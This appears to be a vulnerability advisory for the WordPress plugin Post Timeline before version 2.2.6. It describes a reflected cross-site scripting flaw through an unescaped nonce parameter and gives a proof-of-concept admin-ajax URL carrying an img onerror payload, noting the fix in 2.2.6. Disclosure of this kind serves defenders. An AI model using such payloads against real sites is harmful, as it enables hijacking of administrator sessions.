WordPress Plugin Vulnerabilities

Post Timeline < 2.2.6 - Reflected XSS

Description

The plugin does not sanitise and escape an invalid nonce before outputting it back in an AJAX response, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in admin open the URL below

https://example.com/wp-admin/admin-ajax.php?action=ptl_ajax_handler&asl-nounce=<img src onerror=alert`XSS`>

Affects Plugins

Fixed in 2.2.6
